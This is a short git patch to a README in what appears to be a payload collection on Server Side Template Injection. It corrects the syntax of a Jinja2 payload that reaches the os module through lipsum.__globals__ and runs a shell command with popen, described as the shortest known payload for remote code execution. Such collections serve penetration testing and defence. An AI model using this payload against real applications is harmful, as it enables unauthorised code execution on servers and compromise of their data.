From b3f98adf0cd7f625382a84e4e32830808e6dc838 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?R=C3=A9mi=20GASCOU=20=28Podalirius=29?= Date: Tue, 9 May 2023 20:15:02 +0200 Subject: [PATCH] SSTI / jinja2 : Removed dot in lipsum.__globals__.["os"] --- Server Side Template Injection/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 3c0324e..fa54fd3 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -576,7 +576,7 @@ Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/ With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template: ```python -{{ lipsum.__globals__.["os"].popen('id').read() }} +{{ lipsum.__globals__["os"].popen('id').read() }} ``` Source: https://twitter.com/podalirius_/status/1655970628648697860